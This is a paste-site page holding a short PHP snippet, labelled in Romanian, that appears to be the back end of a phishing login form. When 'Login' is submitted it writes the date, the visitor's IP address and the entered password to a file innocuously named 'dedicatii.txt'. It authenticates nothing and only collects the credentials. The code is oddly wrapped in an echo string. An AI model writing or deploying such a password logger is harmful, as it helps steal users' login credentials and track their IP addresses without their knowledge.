[php] Bzbx
Viewer
- <?php
- echo '//If Submit Button Is Clicked Do the Following
- if ($_POST[\'Login\']){
- $myFile = "dedicatii.txt";
- $fh = fopen($myFile, \'a\') or die("can\'t open file");
- $luna = array("","Ianuarie","Februarie","Martie","Aprilie","Mai","Iunie","Iulie","August","Septembrie","Octombrie","Noiembrie","Decembrie");
- $stringData = \'<b>Data si ora:</b> \'.date("d ",time()).$luna[date("n",time())].date(" Y, H:i", time()).\'<br />\';
- fwrite($fh, $stringData);
- $ip = $_SERVER[\'REMOTE_ADDR\'];
- if (strstr($ip, ",")) {
- $ipuri = explode(", ", $ip);
- $ip = $ipuri[0];
- } else { $ip = $_SERVER[\'REMOTE_ADDR\']; }
- $stringData = \'<b>Adresa IP: </b>\'.\'\'.$ip.\'<br />\';
- fwrite($fh, $stringData);
- $stringData = \'<b>Parola: </b>\'.htmlentities($_POST["pwr"]).\'<hr />\';
- fwrite($fh, $stringData);
- fclose($fh);';
Editor
You can edit this paste and save as new:
File Description
- Bzbx
- Paste Code
- 23 Mar-2023
- 818 Bytes
You can Share it:
Latest Code Pastes